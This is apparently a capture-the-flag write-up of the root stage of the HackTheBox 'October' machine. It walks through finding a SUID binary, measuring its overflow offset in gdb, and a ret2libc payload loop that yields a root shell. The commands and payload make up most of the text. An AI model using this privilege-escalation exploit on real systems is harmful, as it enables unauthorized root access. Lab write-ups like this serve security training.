nihilist - October Writeup

Part 3 : Getting Root Access

From here we need to privesc so our first reflex here is checking sudo -l after spawning a tty shell using python's pty library.


  www-data@october:/var/www/html/cms/storage/app/media$ sudo -l
sudo -l
sudo: no tty present and no askpass program specified
www-data@october:/var/www/html/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import pty;pty.spawn("/bin/sh")'
$ sudo -l
sudo -l
[sudo] password for www-data:

Out of luck, we need a password to see it's output, so let's try something else :


  $ for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
  /bin/umount
  /bin/ping
  /bin/fusermount
  /bin/su
  /bin/ping6
  /bin/mount
  /sbin/unix_chkpwd
  /usr/bin/mail-unlock
  /usr/bin/sudo
  /usr/bin/ssh-agent
  /usr/bin/mail-touchlock
  /usr/bin/mlocate
  /usr/bin/screen
  /usr/bin/newgrp
  /usr/bin/pkexec
  /usr/bin/passwd
  /usr/bin/chfn
  /usr/bin/mail-lock
  /usr/bin/bsd-write
  /usr/bin/gpasswd
  /usr/bin/traceroute6.iputils
  /usr/bin/mtr
  /usr/bin/chsh
  /usr/bin/expiry
  /usr/bin/wall
  /usr/bin/crontab
  /usr/bin/at
  /usr/bin/dotlockfile
  /usr/bin/chage
  /usr/sbin/pppd
  /usr/sbin/uuidd
  /usr/local/bin/ovrflw

the file ovrflw is an executable who has the root SUID permission, let's copy it locally and see what we can do with it :


  $ cat ovrflw | base64 -w0
  cat ovrflw | base64 -w0


  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October]
  → echo 'f0VMRgEBAQ [...] VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX2luaXQA' | base64 -d >ovrflw

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October]
  → file ovrflw
  ovrflw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October]
  → strings ovrflw | grep strcpy
  strcpy
  strcpy@@GLIBC_2.0

the strcpy function there in the file indicates we can perform buffer overflows, so let's check if the binary has any security implemented using gdb :


  λ nihilist [ 10.10.14.20/23 ] [~/_HTB/October]
→ gdb ./ovrflw
GNU gdb (Debian 8.3.1-1) 8.3.1

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NX (non executable) is enabled so we can't just put shellcode in, let's makeit run and see if we can get any specific memory addresses :


  gdb-peda$ b main
Breakpoint 1 at 0x8048480

now that we know main is at memory address 0x8048480 , we create a pattern to find the offset :


  gdb-peda$ pattern create 200
  'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

  gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Now let's run the binary file passing the pattern as parameter :


  gdb-peda$ r
  Starting program: /home/nihilist/_HTB/October/ovrflw 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
  [----------------------------------registers-----------------------------------]
  EAX: 0xf7faf548 --> 0xffffd1b0 --> 0xffffd444 ("SSH_AUTH_SOCK=/tmp/ssh-IfR9D4YJXt1D/agent.2412")
  EBX: 0x0
  ECX: 0xa1b0a267
  EDX: 0xffffd134 --> 0x0
  ESI: 0xf7fad000 --> 0x1d6d6c
  EDI: 0xf7fad000 --> 0x1d6d6c
  EBP: 0xffffd108 --> 0x0
  ESP: 0xffffd108 --> 0x0
  EIP: 0x8048480 (<main+3>:	and    esp,0xfffffff0)
  EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  [-------------------------------------code-------------------------------------]
     0x8048478 <frame_dummy+40>:	jmp    0x80483f0 <register_tm_clones>
     0x804847d <main>:	push   ebp
     0x804847e <main+1>:	mov    ebp,esp
  => 0x8048480 <main+3>:	and    esp,0xfffffff0
     0x8048483 <main+6>:	add    esp,0xffffff80
     0x8048486 <main+9>:	cmp    DWORD PTR [ebp+0x8],0x1
     0x804848a <main+13>:	jg     0x80484ad <main+48>
     0x804848c <main+15>:	mov    eax,DWORD PTR [ebp+0xc]
  [------------------------------------stack-------------------------------------]
  0000| 0xffffd108 --> 0x0
  0004| 0xffffd10c --> 0xf7df4811 (<__libc_start_main+241>:	add    esp,0x10)
  0008| 0xffffd110 --> 0x2
  0012| 0xffffd114 --> 0xffffd1a4 --> 0xffffd35c ("/home/nihilist/_HTB/October/ovrflw")
  0016| 0xffffd118 --> 0xffffd1b0 --> 0xffffd444 ("SSH_AUTH_SOCK=/tmp/ssh-IfR9D4YJXt1D/agent.2412")
  0020| 0xffffd11c --> 0xffffd134 --> 0x0
  0024| 0xffffd120 --> 0x1
  0028| 0xffffd124 --> 0x0
  [------------------------------------------------------------------------------]
  Legend: code, data, rodata, value

  Breakpoint 1, 0x08048480 in main ()

and we continue the execution of the program, and we see that the pattern is recognised at the memory address 0x41384141, running the pattern_offset at this address, with our pattern length of 200, we see that the offset is 112


    gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffd440 --> 0x417941 ('AyA')
EDX: 0xffffd161 --> 0x417941 ('AyA')
ESI: 0xf7fad000 --> 0x1d6d6c
EDI: 0xf7fad000 --> 0x1d6d6c
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd114 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd118 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd11c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd120 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd124 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd128 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd12c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ pattern_offset 0x41384141 200
1094205761 found at offset: 112

now that we have our offset, we start enumerating the memory addresses of the other functions within the binary, most notably the following :


    System = 0xb75e5310
    Exit = 0xb75d8260
    /bin/sh = 0xb7707bac
    little endian format = “\x10\x53\x5e\xb7\x60\x82\x5d\xb7\xac\x7b\x70\xb7”

and then accordingly we use python to abuse this binary file and effectively reach our root privileges :


    $ while true; do /usr/local/bin/ovrflw $(python -c 'print "A" * 112 + "\x10\x53\x5e\xb7\x60\x82\x5d\xb7\xac\x7b\x70\xb7"');done
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)
    Segmentation fault (core dumped)

    # id
    id
    uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
    # cat /root/root.txt
    cat /root/root.txt
    6bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

and that's it ! we have been able to print out the root flag.

October Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

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